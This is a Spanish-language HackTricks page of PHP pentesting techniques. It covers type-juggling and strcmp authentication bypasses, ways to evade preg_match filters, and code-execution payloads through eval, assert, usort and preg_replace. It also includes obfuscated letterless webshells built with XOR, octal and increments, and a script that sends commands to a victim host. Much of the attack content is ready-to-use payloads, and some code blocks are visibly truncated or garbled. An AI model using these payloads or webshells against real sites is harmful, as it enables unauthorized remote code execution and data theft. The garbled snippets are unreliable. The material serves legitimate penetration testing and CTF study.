hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

388 lines
21 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# Trucos de PHP
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Ubicación común de las cookies:
Esto también es válido para las cookies de phpMyAdmin.
Cookies:
```
PHPSESSID
phpMyAdmin
```
Ubicaciones:
```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Saltando comparaciones en PHP
### Comparaciones sueltas / Type Juggling ( == )
Si se usa `==` en PHP, hay casos inesperados donde la comparación no se comporta como se espera. Esto se debe a que "==" solo compara valores transformados al mismo tipo, si también desea comparar que el tipo de los datos comparados sea el mismo, debe usar `===`.
Tablas de comparación de PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../.gitbook/assets/image (40) (1).png>)
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Una cadena que no comienza con un número es igual a un número
* `"0xAAAA" == "43690" -> True` Las cadenas compuestas por números en formato dec o hex pueden compararse con otros números/cadenas con True como resultado si los números eran los mismos (los números en una cadena se interpretan como números)
* `"0e3264578" == 0 --> True` Una cadena que comienza con "0e" y seguida de cualquier cosa será igual a 0
* `"0X3264578" == 0X --> True` Una cadena que comienza con "0" y seguida de cualquier letra (X puede ser cualquier letra) y seguida de cualquier cosa será igual a 0
* `"0e12334" == "0" --> True` Esto es muy interesante porque en algunos casos puedes controlar la entrada de cadena de "0" y algún contenido que se está hasheando y comparándolo con él. Por lo tanto, si puede proporcionar un valor que creará un hash que comience con "0e" y sin ninguna letra, podría saltarse la comparación. Puede encontrar **cadenas ya hasheadas** con este formato aquí: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Cualquier letra en una cadena es igual a int 0
Más información en [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in\_array()**
**Type Juggling** también afecta a la función `in_array()` de forma predeterminada (necesita establecer en verdadero el tercer argumento para hacer una comparación estricta):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```
### strcmp()/strcasecmp()
Si esta función se utiliza para **cualquier verificación de autenticación** (como comprobar la contraseña) y el usuario controla uno de los lados de la comparación, puede enviar una matriz vacía en lugar de una cadena como valor de la contraseña (`https://example.com/login.php/?username=admin&password[]=`) y evitar esta comprobación:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
El mismo error ocurre con `strcasecmp()`.
### Conversión estricta de tipos
Incluso si se utiliza `===`, puede haber errores que hagan que la comparación sea vulnerable a la conversión de tipos. Por ejemplo, si la comparación está convirtiendo los datos a un tipo de objeto diferente antes de comparar:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
**`preg_match()`** se puede utilizar para **validar la entrada del usuario** (verifica si alguna **palabra/regex** de una **lista negra** está **presente** en la **entrada del usuario** y si no lo está, el código puede continuar su ejecución).
#### Bypass de nueva línea
Sin embargo, al delimitar el inicio de la expresión regular, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, por lo que si de alguna manera se puede **enviar** la entrada en **varias líneas**, se podría evitar esta verificación. Ejemplo:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Para evitar esta comprobación, podrías **enviar el valor con saltos de línea urlencoded** (`%0A`) o si puedes enviar **datos JSON**, envíalos en **varias líneas**:
```php
{
"cmd": "cat /etc/passwd"
}
```
Aquí tienes un ejemplo: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Bypass de error de longitud**
(Este bypass aparentemente se probó en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
Si puedes enviar a `preg_match()` una entrada muy **grande y válida**, no podrá procesarla y podrás **burlar** la comprobación. Por ejemplo, si está en una lista negra un JSON, podrías enviar:
```
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'
```
### Tipos de datos en PHP para ofuscación
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Ejecución Después de Redireccionamiento (EAR)
Si PHP está redireccionando a otra página pero no se llama a la función **`die`** o **`exit`** después de establecer la cabecera `Location`, PHP continúa ejecutando y agregando los datos al cuerpo:
```php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Más trucos
* **register\_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register\_globals** puede estar activo (o su comportamiento se está imitando). Esto implica que en variables globales como $\_GET si tienen un valor, por ejemplo $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, enviando parámetros HTTP puedes sobrescribir variables** que se utilizan dentro del código.
* Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la otra ruta** estableciendo el valor de la cookie de la otra ruta.\
De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en la ruta1 se aplique a la ruta2**. Y luego la ruta2 tomará como válidas las variables de la ruta1 (dando a la cookie el nombre que le corresponde en la ruta2).
* Cuando tienes los **nombres de usuario** de los usuarios de la máquina. Comprueba la dirección: **/\~\<USERNAME>** para ver si los directorios php están activados.
* [**LFI y RCE usando envoltorios php**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
Estas funciones se utilizan típicamente en PHP para **generar hashes a partir de contraseñas** y para **verificar** si una contraseña es correcta en comparación con un hash.\
Los algoritmos admitidos son: `PASSWORD_DEFAULT` y `PASSWORD_BCRYPT` (comienza con `$2y$`). Ten en cuenta que **PASSWORD\_DEFAULT es frecuentemente lo mismo que PASSWORD\_BCRYPT.** Y actualmente, **PASSWORD\_BCRYPT** tiene una **limitación de tamaño en la entrada de 72bytes**. Por lo tanto, cuando intentas hashear algo más grande que 72bytes con este algoritmo, solo se utilizarán los primeros 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```
### Bypass de cabeceras HTTP abusando de errores de PHP
Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP devuelva algún **contenido lo suficientemente largo** como para que cuando intente **agregar las cabeceras** en la respuesta, el servidor arroje un error.\
En el siguiente escenario, el **atacante hizo que el servidor arrojara algunos errores grandes**, y como se puede ver en la pantalla, cuando PHP intentó **modificar la información de la cabecera, no pudo** (por lo que, por ejemplo, la cabecera CSP no se envió al usuario):
![](<../../../.gitbook/assets/image (465).png>)
## Ejecución de código
**system("ls");**\
**\`ls\`;**\
**shell\_exec("ls");**
[Consulte esto para obtener más funciones útiles de PHP](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **Ejecución de código usando** **preg\_replace()**
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Para ejecutar el código en el argumento "replace" es necesario que haya al menos una coincidencia.\
Esta opción de preg\_replace ha sido **obsoleta desde PHP 5.5.0.**
### **Ejecución de código con Eval()**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
```
### **Ejecución de código con Assert()**
Esta función dentro de PHP te permite **ejecutar código que está escrito en una cadena** para **devolver verdadero o falso** (y dependiendo de esto alterar la ejecución). Por lo general, la variable del usuario se insertará en el medio de una cadena. Por ejemplo:\
`assert("strpos($_GET['page']),'..') === false")` --> En este caso, para obtener **RCE**, podrías hacer:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
Necesitarás **romper** la **sintaxis** del código, **añadir** tu **payload** y luego **arreglarlo de nuevo**. Puedes usar operaciones lógicas como "**and" o "%26%26" o "|"**. Ten en cuenta que "or", "||" no funcionan porque si la primera condición es verdadera, nuestro payload no se ejecutará. De la misma manera, ";" no funciona ya que nuestro payload no se ejecutará.
**Otra opción** es agregar a la cadena la ejecución del comando: `'.highlight_file('.passwd').'`
**Otra opción** (si tienes el código interno) es modificar alguna variable para alterar la ejecución: `$file = "hola"`
### **Ejecución de código con usort()**
Esta función se utiliza para ordenar una matriz de elementos utilizando una función específica.\
Para abusar de esta función:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
```
```php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
También puedes usar **//** para comentar el resto del código.
Para descubrir el número de paréntesis que necesitas cerrar:
* `?order=id;}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ';'`). Probablemente nos falte uno o más corchetes.
* `?order=id);}//`: obtenemos una **advertencia**. Eso parece estar bien.
* `?order=id));}//`: obtenemos un mensaje de error (`Parse error: syntax error, unexpected ')' i`). Probablemente tengamos demasiados corchetes de cierre.
### **Ejecución de código a través de .httaccess**
Si puedes **subir** un **.htaccess**, entonces puedes **configurar** varias cosas e incluso ejecutar código (configurando que los archivos con extensión .htaccess se pueden **ejecutar**).
Se pueden encontrar diferentes shells de .htaccess [aquí](https://github.com/wireghoul/htshells)
## Análisis estático de PHP
Busca si puedes insertar código en llamadas a estas funciones (de [aquí](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)):
```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
Si estás depurando una aplicación PHP, puedes habilitar la impresión de errores globalmente en `/etc/php5/apache2/php.ini` agregando `display_errors = On` y reiniciando apache: `sudo systemctl restart apache2`.
### Desofuscando código PHP
Puedes usar la **web** [**www.unphp.net**](http://www.unphp.net) **para desofuscar código PHP.**
## Wrappers y protocolos de PHP
Los Wrappers y protocolos de PHP podrían permitirte **burlar las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información, consulta esta página**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## RCE no autenticado de Xdebug
Si ves que **Xdebug** está **habilitado** en una salida de `phpconfig()`, deberías intentar obtener RCE a través de [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit).
## Variables variables
```php
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE abusando de new $\_GET\["a"]\($\_GET\["b"])
Si en una página puedes **crear un nuevo objeto de una clase arbitraria**, podrías obtener RCE, revisa la siguiente página para aprender cómo hacerlo:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
## Ejecutar PHP sin letras
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### Usando octal
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
### **XOR**
El operador XOR (Exclusive OR) es una operación lógica que se utiliza en programación para comparar dos valores binarios. El resultado de la operación es 1 si los valores son diferentes y 0 si son iguales. En el contexto del hacking, XOR se utiliza a menudo para cifrar y descifrar datos.
En PHP, el operador XOR se representa con el símbolo `^`. Por ejemplo, `0b1010 ^ 0b1100` dará como resultado `0b0110`.
Para cifrar datos con XOR en PHP, se puede utilizar la función `str_repeat()` para repetir una clave de cifrado y la función `ord()` para obtener el valor numérico de cada carácter en la cadena de datos. A continuación, se puede aplicar el operador XOR a cada valor numérico utilizando la clave de cifrado repetida.
Para descifrar datos cifrados con XOR en PHP, se puede utilizar el mismo proceso, pero aplicando el operador XOR inverso (`$a ^ $b = $c` es lo mismo que `$a ^ $c = $b`) para obtener los valores numéricos originales. A continuación, se puede utilizar la función `chr()` para convertir los valores numéricos en caracteres y reconstruir la cadena de datos original.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### Código shell XOR fácil
Según [**este artículo**](https://mgp25.com/ctf/Web-challenge/), es posible generar un código shell fácil utilizando XOR de la siguiente manera:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Entonces, si puedes **ejecutar PHP arbitrario sin números ni letras**, puedes enviar una solicitud como la siguiente abusando de ese payload para ejecutar PHP arbitrario:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```
Para una explicación más detallada, consulte [https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)
### Código de shell XOR (dentro de eval)
```bash
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
```
```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Similar a Perl
```php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>